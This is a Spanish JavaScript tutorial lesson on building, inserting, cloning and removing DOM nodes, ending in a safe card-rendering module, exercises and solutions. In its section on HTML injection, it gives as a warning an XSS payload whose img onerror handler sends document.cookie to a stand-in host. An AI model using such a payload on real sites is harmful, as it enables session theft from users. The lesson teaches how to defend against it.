Hasta aquí la página de Nómada Tareas ha sido un molde: unos <li> escritos a mano en el HTML que rellenábamos con datos del modelo. Eso no escala. El backlog tiene seis tareas, en 06-07 se podrán dar de alta más, y nadie va a editar el index.html cada vez que Marta añada una. Una aplicación real construye su interfaz a partir de los datos. En esta lección aprenderás a crear nodos desde cero, a insertarlos exactamente donde quieres, a eliminarlos y a vaciar contenedores sin dejar fugas de memoria, a insertar cien elementos sin castigar al navegador con DocumentFragment, y a hacerlo todo de forma segura frente a la inyección de HTML. El resultado será vista/tarjeta.js: la función que convierte una Tarea del modelo en su <li> completo, con sus botones y su data-id.
Contenido
- Crear nodos:
createElementycreateTextNode - Clonar:
cloneNode(true) - Insertar con los métodos modernos
insertAdjacentHTMLeinsertAdjacentElement- Los métodos antiguos, y por qué siguen apareciendo
- Eliminar y vaciar contenedores
DocumentFragment: muchos nodos, una sola inserción- Construir con nodos frente a inyectar HTML
- Una función auxiliar:
crearElemento(etiqueta, props, hijos) <template>ycontent- Nómada Tareas:
vista/tarjeta.js - Errores Comunes y Consejos
- Ejercicios
- Conclusión
- Crear nodos:
createElement y createTextNode
createElement y createTextNodedocument.createElement(etiqueta) fabrica un elemento nuevo. Importante: nace fuera del árbol, en el limbo. No se ve en ninguna parte hasta que lo insertas.
const li = document.createElement('li');
console.log(li); // <li></li>
console.log(li.parentElement); // null ← todavía no está en el documento
console.log(document.contains(li)); // falseMientras está fuera del árbol puedes configurarlo con todo lo que aprendiste en 06-02, y es la forma más eficiente de trabajar: construir primero, insertar al final, porque los cambios sobre un elemento desconectado no obligan al navegador a recalcular nada.
const li = document.createElement('li');
li.className = 'tarea tarea--alta'; // aquí sí vale className: el elemento es nuevo
li.dataset.id = '6';
li.dataset.estado = 'pendiente';
li.setAttribute('aria-label', 'Presupuesto de la carpintería, prioridad alta');
document.querySelector('#lista-tareas').append(li); // ahora sí aparece en pantalladocument.createTextNode(texto) crea un nodo de texto (el tipo 3 de 06-01). Casi nunca lo necesitarás explícitamente, porque textContent y append lo hacen por ti, pero conviene saber que existe y que es inmune a la interpretación de HTML:
const texto = document.createTextNode('Rediseño <urgente> & revisión');
li.append(texto);
// En pantalla se lee literalmente: Rediseño <urgente> & revisiónDe hecho, append acepta cadenas directamente y las convierte en nodos de texto, con la misma seguridad:
Existen dos métodos hermanos que verás de vez en cuando: document.createComment(texto) para comentarios y document.createDocumentFragment() para el contenedor ligero del apartado 7.
- Clonar:
cloneNode(true)
cloneNode(true)nodo.cloneNode(profundo) hace una copia. El argumento decide si copia solo el nodo o también todo su contenido:
const plantilla = document.querySelector('#lista-tareas li');
const superficial = plantilla.cloneNode(false); // solo el <li>, vacío por dentro
const profundo = plantilla.cloneNode(true); // el <li> con todos sus descendientes
console.log(superficial.children.length); // 0
console.log(profundo.children.length); // 3 ← span, span, buttonTres advertencias importantes sobre el clonado:
- Copia los atributos, incluidos los
id. Si el original teníaid="resumen", el clon también, y tendrás dos elementos con el mismo id en el documento:querySelector('#resumen')devolverá solo el primero y nunca sabrás cuál. Cambia o borra eliddel clon. - NO copia los manejadores registrados con
addEventListener. Esto es una ventaja disfrazada: el clon nace limpio, y con delegación (06-04) ni lo notas, porque el manejador está en el contenedor. - Sí copia los atributos
on…en línea, otro motivo más para no usarlos nunca.
const clon = plantilla.cloneNode(true);
clon.removeAttribute('id'); // higiene obligatoria si el original tenía id
clon.dataset.id = '7'; // y actualiza lo que identifique al nuevo
- Insertar con los métodos modernos
La familia moderna de inserción es cómoda, uniforme y admite varios argumentos y cadenas de texto. Todos ellos aceptan cualquier número de nodos y/o strings.
| Método | Dónde inserta | Se llama sobre |
|---|---|---|
padre.append(...) |
Al final de los hijos | El contenedor |
padre.prepend(...) |
Al principio de los hijos | El contenedor |
elem.before(...) |
Justo antes del elemento, como hermano | El hermano de referencia |
elem.after(...) |
Justo después del elemento, como hermano | El hermano de referencia |
elem.replaceWith(...) |
Sustituye el elemento | El elemento a sustituir |
padre.replaceChildren(...) |
Sustituye todos los hijos (sin argumentos, vacía) | El contenedor |
const lista = document.querySelector('#lista-tareas');
const nueva = document.createElement('li');
nueva.textContent = 'Revisar la guillotina de encuadernación';
lista.append(nueva); // al final
lista.prepend(nueva); // ← la MUEVE al principio (ver nota abajo)
const primera = lista.firstElementChild;
primera.after(nueva); // como segundo elemento
primera.before('Aviso: ', nueva); // varios argumentos: texto y nodo
nueva.replaceWith(document.createElement('li')); // sustituida
lista.replaceChildren(); // lista vacíaUn nodo solo puede estar en un sitio. Si insertas un elemento que ya está en el árbol, no se duplica: se mueve. Es un comportamiento muy útil para reordenar listas, y una fuente de desconcierto si no lo esperas:
const li = lista.firstElementChild;
lista.append(li); // no hay dos: el primero se ha convertido en el últimoPara tener dos copias hay que clonar explícitamente: lista.append(li.cloneNode(true)).
insertAdjacentHTML e insertAdjacentElement
insertAdjacentHTML e insertAdjacentElementEstos dos métodos permiten insertar en una de cuatro posiciones relativas al elemento, expresadas con una cadena:
<!-- beforebegin --> <li class="tarea"> <!-- afterbegin --> contenido <!-- beforeend --> </li> <!-- afterend -->
| Posición | Dónde queda |
|---|---|
'beforebegin' |
Antes del elemento, como hermano anterior |
'afterbegin' |
Dentro, como primer hijo |
'beforeend' |
Dentro, como último hijo |
'afterend' |
Después del elemento, como hermano siguiente |
const li = document.querySelector('[data-id="6"]');
li.insertAdjacentElement('beforeend', document.createElement('button'));
li.insertAdjacentHTML('afterbegin', '<span class="tarea__marca">⚠</span>');insertAdjacentHTML tiene una ventaja real frente a innerHTML +=: no destruye ni recrea los nodos existentes, solo añade. Pero comparte su gran defecto: interpreta HTML, así que arrastra el mismo riesgo de XSS de 06-02.
// ✗ Nunca con datos que no controlas
li.insertAdjacentHTML('beforeend', `<span>${tarea.titulo}</span>`);
// Si el título es '<img src=x onerror=…>', acabas de ejecutar código ajeno.
// ✓ Con marcado literal que has escrito tú, sin interpolar datos, es aceptable
li.insertAdjacentHTML('beforeend', '<span class="tarea__marca" aria-hidden="true">⚠</span>');La regla es la misma de siempre: HTML como cadena solo cuando es constante. En cuanto hay una interpolación de datos, o escapas (06-06) o construyes con nodos.
- Los métodos antiguos, y por qué siguen apareciendo
Antes de la familia moderna existían tres métodos que verás en cualquier código con unos años. Merece la pena conocerlos para leerlos, aunque no los escribas.
| Antiguo | Moderno equivalente | Diferencias |
|---|---|---|
padre.appendChild(nodo) |
padre.append(nodo) |
El antiguo admite un solo nodo, no acepta strings, y devuelve el nodo insertado |
padre.insertBefore(nuevo, ref) |
ref.before(nuevo) |
El antiguo se llama sobre el padre y necesita la referencia; con ref = null inserta al final |
padre.removeChild(hijo) |
hijo.remove() |
El antiguo necesita conocer al padre; el moderno no |
padre.replaceChild(nuevo, viejo) |
viejo.replaceWith(nuevo) |
Igual: el antiguo exige el padre |
// Antiguo
const li = document.createElement('li');
lista.appendChild(li);
lista.insertBefore(li, lista.firstChild);
lista.removeChild(li);
// Moderno
lista.append(li);
lista.prepend(li);
li.remove();Los modernos ganan en todo salvo en un detalle: appendChild devuelve el nodo, lo que permite encadenar (const p = div.appendChild(document.createElement('p'))), mientras que append devuelve undefined. Es un inconveniente menor y se resuelve con una variable.
- Eliminar y vaciar contenedores
Eliminar un elemento es trivial:
Vaciar un contenedor tiene tres formas, y no son equivalentes:
// Opción A · la moderna y recomendada
lista.replaceChildren();
// Opción B · la clásica con cadena vacía
lista.innerHTML = '';
// Opción C · a mano, nodo a nodo
while (lista.firstChild) lista.firstChild.remove();| Forma | Legibilidad | Analiza HTML | Notas |
|---|---|---|---|
replaceChildren() |
Alta | No | La preferible; también sirve para reemplazar en una operación |
innerHTML = '' |
Alta | Sí (una cadena vacía, pero pasa por el analizador) | Funciona, pero invita a innerHTML = '<li>…' con datos |
Bucle while |
Baja | No | Solo por compatibilidad con navegadores muy antiguos |
replaceChildren es especialmente elegante porque también acepta el contenido nuevo, con lo que vaciar y rellenar es una sola operación:
El matiz de los manejadores y las fugas de memoria. Cuando eliminas un elemento del DOM, sus manejadores desaparecen con él… siempre que nadie más guarde una referencia al elemento. Si lo guardaste en un array, en un Map o en el closure de otra función, el elemento sigue vivo en memoria aunque no esté en la página, junto con todo su subárbol y sus manejadores. Eso es una fuga de memoria.
// ✗ Fuga: el array retiene los elementos aunque se hayan quitado de la página
const cacheDeTarjetas = [];
for (const tarea of tablero.tareas) {
const li = crearTarjeta(tarea);
cacheDeTarjetas.push(li); // referencia fuerte que sobrevive al remove()
lista.append(li);
}
lista.replaceChildren(); // la página se vacía, la memoria no
// ✓ Si necesitas una caché, límpiala también
cacheDeTarjetas.length = 0;Este es exactamente uno de los patrones que se analizan en Gestión de Memoria. Y es otro argumento a favor de la delegación de 06-04: si el único manejador está en el <ul>, que nunca se elimina, no hay nada que limpiar al borrar tarjetas.
Un último apunte: si eliminas el elemento que tenía el foco, el foco se pierde y vuelve a document.body. Quien navega con teclado se queda sin posición. La solución es mover el foco a un sitio razonable antes de eliminar:
const li = boton.closest('li[data-id]');
const siguiente = li.nextElementSibling ?? li.previousElementSibling;
li.remove();
(siguiente?.querySelector('button') ?? lista).focus();
DocumentFragment: muchos nodos, una sola inserción
DocumentFragment: muchos nodos, una sola inserciónInsertar seis elementos de uno en uno significa tocar el árbol seis veces:
// Seis inserciones en el documento vivo
for (const tarea of tablero.tareas) {
lista.append(crearTarjeta(tarea));
}Un DocumentFragment es un contenedor ligero fuera del árbol (el nodeType 11 de 06-01). Puedes llenarlo sin que el navegador tenga que recalcular nada, y al insertarlo ocurre algo especial: el fragmento se disuelve y solo entran sus hijos.
const fragmento = document.createDocumentFragment();
for (const tarea of tablero.tareas) {
fragmento.append(crearTarjeta(tarea)); // fuera del árbol: sin coste de repintado
}
lista.append(fragmento); // UNA sola operación sobre el documento
console.log(fragmento.childNodes.length); // 0 ← se ha vaciado al insertarse
console.log(lista.children.length); // 6Es el equivalente a llevar la compra en una bolsa en lugar de a puñados: menos viajes.
Conviene ser honesto sobre la magnitud del beneficio. Los navegadores modernos agrupan el trabajo de diseño y no repintan tras cada append, así que con seis tareas la diferencia es inapreciable. Con miles de filas, o cuando entre inserción e inserción lees geometría (el layout thrashing de 06-02), sí se nota. La medición seria es el tema de Manipulación Eficiente del DOM.
Dicho esto, hay una razón para usarlo que no depende del rendimiento: replaceChildren con spread hace lo mismo de forma más legible, y esa es la forma que adoptaremos:
Una llamada, contenido nuevo completo, sin fragmento explícito y sin innerHTML.
- Construir con nodos frente a inyectar HTML
Este es el punto de criterio de la lección. Hay dos maneras de producir la tarjeta de una tarea:
// Opción 1 · cadena de HTML
lista.innerHTML += `
<li class="tarea tarea--${tarea.prioridad}" data-id="${tarea.id}">
<span class="tarea__titulo">${tarea.titulo}</span>
<button data-accion="avanzar">Empezar</button>
</li>`;
// Opción 2 · nodos
const li = document.createElement('li');
li.className = `tarea tarea--${tarea.prioridad}`;
li.dataset.id = tarea.id;
const titulo = document.createElement('span');
titulo.className = 'tarea__titulo';
titulo.textContent = tarea.titulo; // ← seguro por construcción
li.append(titulo);| Aspecto | Cadena de HTML | Construcción con nodos |
|---|---|---|
| Legibilidad de la estructura | Alta: se ve la forma de un vistazo | Media: hay que leer varias líneas |
| Seguridad con datos externos | Peligrosa: XSS si no escapas | Segura: textContent no interpreta nada |
| Conservación de nodos existentes | innerHTML += los destruye y recrea |
Los respeta |
| Manejadores y foco | Se pierden al reasignar | Se conservan |
| Referencias a los nodos creados | Hay que volver a buscarlos | Ya las tienes |
| Coste | Analizar HTML | Llamadas a métodos |
El problema de seguridad es concreto y no teórico. Si Iván da de alta una tarea titulada <img src=x onerror="fetch('https://malo.example/roba?c='+document.cookie)">, la opción 1 ejecuta ese código en el contexto de tu página. La opción 2 muestra el texto literal y no ejecuta nada.
Además, innerHTML += tiene un defecto adicional muy poco intuitivo: no añade, reconstruye. Lee todo el HTML interior, le concatena tu cadena y vuelve a analizarlo entero. Todos los nodos anteriores se destruyen y se recrean: se pierde el foco, se pierde el texto seleccionado y se pierde el estado de cualquier <input> que hubiera dentro.
Decisión para el resto del curso: construimos con nodos. En 06-06 verás la alternativa intermedia —plantillas con template literals más una función escaparHtml obligatoria— y en el apartado 10 de esta lección, la mejor de todas para estructuras fijas: <template>.
- Una función auxiliar:
crearElemento(etiqueta, props, hijos)
crearElemento(etiqueta, props, hijos)Construir con nodos es seguro pero verboso. Una función auxiliar de quince líneas recupera la legibilidad sin perder la seguridad. Esta será una pieza estable del proyecto:
// js/vista/dom.js
/**
* Crea un elemento configurado en una sola expresión.
* @param {string} etiqueta 'li', 'button', 'span'…
* @param {object} props clases, dataset, atributos y propiedades
* @param {Array} hijos nodos o cadenas (las cadenas se insertan como TEXTO)
* @returns {HTMLElement}
*/
export function crearElemento(etiqueta, props = {}, hijos = []) {
const elemento = document.createElement(etiqueta);
for (const [clave, valor] of Object.entries(props)) {
if (valor === null || valor === undefined || valor === false) continue;
if (clave === 'clases') {
elemento.classList.add(...[].concat(valor).filter(Boolean));
} else if (clave === 'dataset') {
Object.assign(elemento.dataset, valor);
} else if (clave === 'texto') {
elemento.textContent = valor; // ✓ nunca innerHTML
} else if (clave in elemento) {
elemento[clave] = valor; // propiedades: disabled, value, type…
} else {
elemento.setAttribute(clave, valor); // atributos: aria-*, role…
}
}
elemento.append(...[].concat(hijos).filter(Boolean));
return elemento;
}
/** Atajos de selección, para no repetir document.querySelector por todas partes. */
export const $ = (sel, raiz = document) => raiz.querySelector(sel);
export const $$ = (sel, raiz = document) => [...raiz.querySelectorAll(sel)];Merece la pena entender tres decisiones del código:
clave in elementodistingue propiedades de atributos.disabled,value,type,idyhiddenexisten como propiedades del objeto DOM, y asignarlas directamente es lo correcto (06-02). Losaria-*yroleno existen como propiedades, así que caen ensetAttribute. La comprobación resuelve la elección automáticamente.textousatextContent. No hay ninguna opción en la API que interprete HTML: es imposible provocar un XSS a través de esta función, y esa imposibilidad es justamente el objetivo.[].concat(valor)acepta indistintamente un valor suelto o un array, y elfilter(Boolean)descarta losnullyfalse, lo que permite escribir hijos condicionales sinif.
Con ella, la tarjeta se lee casi como el HTML que produce:
const li = crearElemento('li', {
clases: ['tarea', `tarea--${tarea.prioridad}`],
dataset: { id: tarea.id, estado: tarea.estado }
}, [
crearElemento('span', { clases: 'tarea__titulo', texto: tarea.titulo }),
crearElemento('button', { type: 'button', texto: 'Empezar', dataset: { accion: 'avanzar' } })
]);
<template> y content
<template> y contentHay una tercera vía que combina lo mejor de las dos: declarar la estructura en el HTML, donde se lee de un vistazo, y rellenar solo los datos desde JavaScript, con textContent.
El elemento <template> contiene marcado que el navegador analiza pero no muestra ni activa: sus imágenes no se descargan, sus scripts no se ejecutan y no aparece en la página.
<template id="plantilla-tarea">
<li class="tarea">
<span class="tarea__titulo"></span>
<span class="tarea__meta"></span>
<span class="tarea__etiquetas"></span>
<button type="button" class="tarea__accion" data-accion="avanzar"></button>
<button type="button" class="tarea__accion" data-accion="reabrir">Reabrir</button>
</li>
</template>Su contenido vive en la propiedad content, que es un DocumentFragment. Para usarlo hay que clonarlo, porque el original debe permanecer intacto para el siguiente uso:
const plantilla = document.querySelector('#plantilla-tarea');
const fragmento = plantilla.content.cloneNode(true); // ✓ copia profunda
const li = fragmento.querySelector('li'); // ahora ya puedes configurarlo
li.dataset.id = tarea.id;
li.querySelector('.tarea__titulo').textContent = tarea.titulo;
lista.append(li);Errores típicos con <template>:
// ✗ Olvidar .content: el <template> en sí no contiene el <li> como hijo normal
plantilla.querySelector('li'); // null
// ✗ Olvidar clonar: mueves el contenido fuera de la plantilla y la vacías
lista.append(plantilla.content); // la plantilla queda inservible para la próxima
// ✓ Correcto
lista.append(plantilla.content.cloneNode(true));| Enfoque | Estructura visible | Seguridad | Cuándo usarlo |
|---|---|---|---|
createElement + crearElemento |
En el JavaScript | Segura | Estructuras dinámicas o condicionales |
<template> + cloneNode |
En el HTML | Segura (rellenas con textContent) |
Estructuras fijas que se repiten |
Template literal + innerHTML |
En el JavaScript | Peligrosa sin escapar | Solo con marcado constante |
Para una lista de tarjetas idénticas, <template> suele ser la mejor opción: la estructura la puede tocar quien maqueta sin abrir el JavaScript, y el código queda en tres líneas de asignación.
- Nómada Tareas:
vista/tarjeta.js
vista/tarjeta.jsJuntemos todo. Este módulo convierte una Tarea del modelo en su <li> completo. Usa crearElemento para tener control total y no depender de que el HTML contenga la plantilla; al final verás la variante con <template>.
// js/vista/tarjeta.js
import { crearElemento } from './dom.js';
import { HOY } from '../util/fechas.js';
import { marcaDeEstado } from '../util/formato.js';
const CLASE_PRIORIDAD = Object.freeze({
alta: 'tarea--alta', media: 'tarea--media', baja: 'tarea--baja'
});
const SIGUIENTE = Object.freeze({ pendiente: 'en-curso', 'en-curso': 'hecha', hecha: null });
const ETIQUETA = Object.freeze({
pendiente: 'Empezar', 'en-curso': 'Marcar hecha', hecha: 'Completada'
});
/**
* Convierte una Tarea del modelo en su elemento <li>.
* No registra ningún manejador: los clics se atienden por delegación (06-04).
*/
export function crearTarjeta(tarea, hoy = HOY) {
const vencida = tarea.estaVencida(hoy);
const titulo = crearElemento('span', {
clases: 'tarea__titulo',
texto: tarea.titulo // ← textContent: seguro con cualquier título
});
const meta = crearElemento('span', {
clases: 'tarea__meta',
texto: `${marcaDeEstado(tarea.estado)} ${tarea.responsable ?? 'sin asignar'} · ` +
`${tarea.horasEstimadas} h · ${tarea.estado}` +
(vencida ? ` · vencida hace ${Math.abs(tarea.diasRestantes)} días` : '')
});
const etiquetas = crearElemento('ul', { clases: 'tarea__etiquetas' },
tarea.etiquetas.map((e) => crearElemento('li', { clases: 'etiqueta', texto: e }))
);
const avanzar = crearElemento('button', {
type: 'button',
clases: 'tarea__accion',
dataset: { accion: 'avanzar' },
disabled: SIGUIENTE[tarea.estado] === null,
'aria-label': `${ETIQUETA[tarea.estado]}: ${tarea.titulo}`,
texto: ETIQUETA[tarea.estado]
});
const reabrir = crearElemento('button', {
type: 'button',
clases: 'tarea__accion',
dataset: { accion: 'reabrir' },
disabled: tarea.estado !== 'en-curso',
'aria-label': `Devolver a pendiente: ${tarea.titulo}`,
texto: 'Reabrir'
});
return crearElemento('li', {
clases: ['tarea', CLASE_PRIORIDAD[tarea.prioridad], vencida && 'tarea--vencida',
tarea.estado === 'hecha' && 'tarea--hecha'],
dataset: { id: tarea.id, estado: tarea.estado, responsable: tarea.responsable ?? '' },
tabindex: '-1' // enfocable por código, no con Tab
}, [titulo, meta, etiquetas, avanzar, reabrir]);
}Fíjate en tres detalles:
vencida && 'tarea--vencida'producefalsecuando no aplica, y elfilter(Boolean)decrearElementolo descarta. Es la forma idiomática de una clase condicional sin escribir unif.tabindex="-1"hace el<li>enfocable por programa (li.focus()) pero no lo mete en el orden del tabulador. Sirve para devolver el foco a una tarjeta tras redibujarla, en 06-06.- La tarjeta no registra ni un solo manejador. Puede crearse, clonarse, destruirse y recrearse libremente, porque el único manejador vive en el
<ul>. Ese es el dividendo de la delegación de 06-04.
Y así se usa, con replaceChildren para pintar la lista entera:
// js/app.js
import { Tablero } from './modelo/tablero.js';
import { crearBacklog } from './datos/backlog.js';
import { HOY } from './util/fechas.js';
import { crearTarjeta } from './vista/tarjeta.js';
import { conectarTablero } from './vista/controlador.js';
import { $ } from './vista/dom.js';
const tablero = new Tablero('Taller Nómada', crearBacklog());
const lista = $('#lista-tareas');
// Las SEIS tareas, creadas desde el modelo. El HTML ya no lleva ningún <li>.
lista.replaceChildren(...tablero.tareas.map((t) => crearTarjeta(t, HOY)));
conectarTablero({ lista, resumen: $('#resumen'), tablero, hoy: HOY });El index.html se simplifica: el <ul id="lista-tareas"> queda vacío, porque su contenido lo genera el modelo.
Ese aria-live="polite" hace que un lector de pantalla anuncie los cambios de la lista sin interrumpir. Con las seis tarjetas en pantalla, el resumen sigue dando los números canónicos: 6 tareas, 5 abiertas, 45 h pendientes, 1 vencida, esfuerzo 124.
La variante con <template>, por si prefieres tener la estructura en el HTML:
// js/vista/tarjeta.js — versión con plantilla
import { $ } from './dom.js';
export function crearTarjetaDesdePlantilla(tarea, hoy = HOY) {
const li = $('#plantilla-tarea').content.firstElementChild.cloneNode(true);
li.dataset.id = tarea.id;
li.dataset.estado = tarea.estado;
li.classList.add(CLASE_PRIORIDAD[tarea.prioridad]);
li.classList.toggle('tarea--vencida', tarea.estaVencida(hoy));
li.classList.toggle('tarea--hecha', tarea.estado === 'hecha');
$('.tarea__titulo', li).textContent = tarea.titulo;
$('.tarea__meta', li).textContent = `${tarea.responsable ?? 'sin asignar'} · ${tarea.horasEstimadas} h`;
const avanzar = $('[data-accion="avanzar"]', li);
avanzar.textContent = ETIQUETA[tarea.estado];
avanzar.disabled = SIGUIENTE[tarea.estado] === null;
return li;
}Las dos son correctas. La primera da más control y no depende del HTML; la segunda separa mejor maquetación y lógica. Elige una y sé coherente.
Errores Comunes y Consejos
- Crear un elemento y olvidar insertarlo.
createElementno lo añade a la página. Si «no se ve nada», comprueba que hay unappenden alguna parte. - Esperar que insertar duplique. Un nodo solo puede estar en un lugar: insertar uno que ya estaba en el árbol lo mueve. Para duplicar,
cloneNode(true). - Clonar un elemento con
idy no cambiarlo. Acabas con ids duplicados yquerySelectordevuelve siempre el primero. Borra o renombra eliddel clon. - Olvidar
.contento el clonado con<template>.plantilla.querySelector('li')danull;append(plantilla.content)vacía la plantilla para siempre. La forma correcta esplantilla.content.cloneNode(true). - Usar
innerHTML +=para añadir. No añade: reconstruye todo el interior, con lo que se pierden foco, selección, estado de campos y manejadores directos. UsaappendoinsertAdjacentHTML. - Interpolar datos en cadenas de HTML. Es la puerta al XSS. Con datos, siempre
textContento nodos; con marcado constante,insertAdjacentHTMLes aceptable. - Guardar nodos eliminados en arrays o
Map. Impide que el navegador libere la memoria. Si tienes una caché de nodos, límpiala cuando vacíes el contenedor. - Eliminar el elemento que tenía el foco sin recolocarlo. Quien usa teclado se queda en
body. Mueve el foco al hermano siguiente o al contenedor antes de eliminar. - Consejo: construye fuera del árbol y conecta al final. Todo lo que hagas sobre un elemento desconectado es gratis para el navegador. Es el mismo principio de
DocumentFragmenty dereplaceChildren(...). - Consejo: una función
crearElementobien hecha se amortiza en la primera pantalla. Da la legibilidad de la plantilla con la seguridad de los nodos, y hace imposible por construcción que un dato acabe interpretándose como HTML.
Ejercicios
Ejercicio 1 · Un separador por prioridad
Escribe insertarSeparadores(lista) que recorra los <li> ya pintados y, cada vez que cambie la prioridad respecto al anterior, inserte antes de ese <li> un elemento <li class="separador" role="presentation"> con el texto Prioridad alta, Prioridad media o Prioridad baja. Debe funcionar sin duplicar separadores si se llama dos veces. Usa before() y crearElemento.
Ejercicio 2 · Vaciar y medir
Escribe dos funciones, pintarConBucle(lista, tareas) y pintarDeGolpe(lista, tareas). La primera vacía y hace un append por tarea; la segunda usa replaceChildren(...) con el spread. Comprueba con console.time/console.timeEnd cuánto tardan con las 6 tareas y con 5 000 generadas repitiendo el backlog. Comenta los resultados con honestidad.
Ejercicio 3 · Tarjeta con plantilla y foco conservado
Añade al HTML un <template id="plantilla-tarea"> y escribe reemplazarTarjeta(li, tarea) que sustituya un <li> existente por una tarjeta recién creada con replaceWith(), conservando el foco: si el elemento activo estaba dentro del <li> que se sustituye, el foco debe acabar en el botón equivalente de la tarjeta nueva. Explica cómo detectas cuál era el botón equivalente.
Soluciones
Ejercicio 1
import { crearElemento, $$ } from './vista/dom.js';
const NOMBRE = { alta: 'Prioridad alta', media: 'Prioridad media', baja: 'Prioridad baja' };
export function insertarSeparadores(lista) {
// Idempotencia: quitamos los separadores anteriores antes de nada
$$('.separador', lista).forEach((s) => s.remove());
let anterior = null;
for (const li of $$('li[data-id]', lista)) {
const prioridad = [...li.classList]
.find((c) => c.startsWith('tarea--') && c.slice(7) in NOMBRE)?.slice(7);
if (prioridad !== anterior) {
li.before(crearElemento('li', {
clases: 'separador',
role: 'presentation',
texto: NOMBRE[prioridad]
}));
anterior = prioridad;
}
}
}Dos claves. La idempotencia se consigue limpiando primero: sin ese remove() inicial, cada llamada añadiría otra tanda de separadores. Y el selector li[data-id] es esencial en el bucle: si recorriéramos todos los <li>, los separadores recién insertados entrarían también en la iteración. El role="presentation" indica al lector de pantalla que ese <li> no es un elemento real de la lista, sino un encabezado visual.
Ejercicio 2
function pintarConBucle(lista, tareas) {
lista.replaceChildren();
for (const t of tareas) lista.append(crearTarjeta(t));
}
function pintarDeGolpe(lista, tareas) {
lista.replaceChildren(...tareas.map((t) => crearTarjeta(t)));
}
const muchas = Array.from({ length: 5000 }, (_, i) => {
const base = tablero.tareas[i % 6];
return Object.assign(Object.create(Object.getPrototypeOf(base)), base, { id: i + 1 });
});
console.time('bucle'); pintarConBucle(lista, muchas); console.timeEnd('bucle');
console.time('de golpe'); pintarDeGolpe(lista, muchas); console.timeEnd('de golpe');Resultados típicos en un portátil corriente: con 6 tareas ambas rondan 1 ms y la diferencia es puro ruido de medición. Con 5 000, la versión de golpe suele quedar entre un 10 % y un 30 % por delante, pero el grueso del tiempo se lo lleva crear las 5 000 tarjetas, no insertarlas.
La conclusión honesta es que la insistencia clásica en DocumentFragment está algo sobrevalorada para el caso normal: los navegadores modernos no repintan tras cada append. replaceChildren(...) se prefiere por claridad, no por velocidad. Y la lección de fondo es la de 09-01: mide antes de optimizar, porque la intuición sobre rendimiento se equivoca casi siempre.
Ejercicio 3
export function reemplazarTarjeta(li, tarea, hoy = HOY) {
// 1 · ¿El foco estaba dentro? Guardamos QUÉ botón era, no la referencia
const activo = document.activeElement;
const teniaFoco = li.contains(activo);
const accionEnfocada = teniaFoco ? activo.dataset.accion ?? null : null;
// 2 · Construimos la tarjeta nueva y sustituimos
const nueva = crearTarjeta(tarea, hoy);
li.replaceWith(nueva);
// 3 · Restauramos el foco en el botón equivalente
if (teniaFoco) {
const destino = accionEnfocada !== null
? nueva.querySelector(`[data-accion="${accionEnfocada}"]`)
: null;
(destino !== null && !destino.disabled ? destino : nueva).focus();
}
return nueva;
}El botón equivalente se identifica por su data-accion, no por su posición ni por una referencia al nodo antiguo (que acaba de dejar de existir). Es el mismo principio que el data-id de las tarjetas: una clave estable que sobrevive a la recreación del DOM. Y el tabindex="-1" del <li> es lo que permite la alternativa nueva.focus() cuando el botón equivalente ha quedado desactivado —por ejemplo, tras marcar la tarea como hecha—: sin él, el foco caería en document.body y quien navega con teclado perdería su posición en la lista.
Este problema —redibujar y perder el foco— es precisamente el que da pie a la lección siguiente.
Conclusión
Ya no dependes del HTML escrito a mano: sabes fabricar la interfaz. Creas nodos con createElement (que nacen fuera del árbol, y por eso configurarlos es gratis) y con createTextNode, y los copias con cloneNode(true), recordando que el clon arrastra el id pero no los manejadores de addEventListener. Los insertas con la familia moderna —append, prepend, before, after, replaceWith, replaceChildren—, que admite varios argumentos y cadenas de texto, sabiendo que insertar un nodo que ya estaba en el árbol lo mueve en lugar de duplicarlo. Conoces insertAdjacentHTML/insertAdjacentElement con sus cuatro posiciones (beforebegin, afterbegin, beforeend, afterend) y el aviso de que el primero interpreta HTML. Y reconoces los métodos antiguos appendChild, insertBefore, removeChild y replaceChild para leer código heredado, aunque escribas los modernos.
Sabes eliminar con remove() y vaciar con replaceChildren(), que es preferible a innerHTML = '' porque no pasa por el analizador de HTML y porque la misma llamada permite vaciar y rellenar a la vez. Tienes claro el matiz que importa: los manejadores desaparecen con el elemento salvo que alguien retenga una referencia en un array, un Map o un closure, y ese es el origen de una fuga de memoria clásica; y que eliminar el elemento enfocado deja a quien navega con teclado sin posición. Conoces DocumentFragment para agrupar inserciones, junto con la valoración honesta de su impacto real, y sabes que replaceChildren(...nodos) consigue lo mismo con más claridad.
Sobre todo, tienes el criterio de construcción: nodos frente a cadenas. Interpolar datos en HTML es la puerta directa al XSS, e innerHTML += ni siquiera añade —reconstruye el interior entero y se lleva por delante el foco, la selección y el estado—. La respuesta es crearElemento(etiqueta, props, hijos) en vista/dom.js, que distingue propiedades de atributos con clave in elemento, acepta clases condicionales y usa textContent siempre; o bien <template> con content.cloneNode(true) cuando la estructura es fija y prefieres tenerla en el HTML. Con esas piezas has escrito vista/tarjeta.js: crearTarjeta(tarea) devuelve el <li> completo de una tarea, con su prioridad, su marca de vencida, sus etiquetas, sus dos botones con data-accion y su data-id, sin registrar ni un solo manejador, porque de eso ya se ocupa la delegación. El <ul> del HTML ha quedado vacío y las seis tareas del backlog se pintan desde el modelo.
Falta el paso que convierte todo esto en una aplicación de verdad: redibujar cuando los datos cambian. Ahora mismo pintas una vez al arrancar y luego parcheas cada <li> a mano. Lo natural es tener una función render(estado) que dibuje el tablero entero a partir del Tablero, y repetirla tras cada cambio. Pero eso trae su propio problema, que ya has rozado en el último ejercicio: redibujar todo destruye los nodos, y con ellos se van el foco, el desplazamiento y lo que hubiera escrito el usuario. Cómo se organiza el ciclo estado → render → evento → nuevo estado → render, cómo se agrupan las tareas por columnas, cómo se escapan los datos si decides usar plantillas de texto, y cómo se actualiza solo lo que ha cambiado reutilizando nodos por su data-id, es Renderizado de Listas y Plantillas HTML.
Curso de JavaScript: De Principiante a Avanzado
Módulo 1: Introducción a JavaScript
- ¿Qué es JavaScript?
- Configuración de tu Entorno de Desarrollo
- Tu Primer Programa en JavaScript
- Sintaxis y Conceptos Básicos de JavaScript
- Variables y Tipos de Datos
- Operadores Básicos
- Conversión de Tipos y Comparaciones
- El Proyecto del Curso: Nómada Tareas
Módulo 2: Estructuras de Control
- Sentencias Condicionales
- Bucles: for, while, do-while
- Sentencias Switch
- Control del Flujo: break, continue y Bucles Anidados
- Manejo de Errores con try-catch
Módulo 3: Funciones
- Definición y Llamada de Funciones
- Expresiones de Función y Funciones Flecha
- Parámetros y Valores de Retorno
- Ámbito y Closures
- Hoisting y el Contexto de Ejecución
- Funciones de Orden Superior
